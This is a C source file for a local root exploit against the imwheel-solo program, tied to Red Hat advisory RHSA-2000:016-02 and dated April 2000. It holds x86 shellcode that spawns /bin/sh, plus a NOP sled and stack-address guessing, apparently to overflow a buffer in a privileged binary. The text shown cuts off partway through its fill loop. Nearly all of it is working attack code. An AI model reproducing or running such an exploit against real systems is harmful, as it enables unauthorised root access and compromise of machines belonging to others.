/* * imwheel local root exploit [ RHSA-2000:016-02 ] * funkysh 04/2000 funkysh@kris.top.pl */ #include #include #define BUFFER 2070 #define NOP 0x90 #define PATH "/usr/X11R6/bin/imwheel-solo" char code[]="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46" "\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e" "\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8" "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long getesp(void) { __asm__("movl %esp,%eax"); } int main(int argc, char *argv[]) { int i, offset = 0; char buf[BUFFER]; long address; if(argc > 1) offset = atoi(argv[1]); address = getesp() + 1000 + offset; memset(buf,NOP,BUFFER); memcpy(buf+(BUFFER-300),code,strlen(code)); for(i=(BUFFER-250);i

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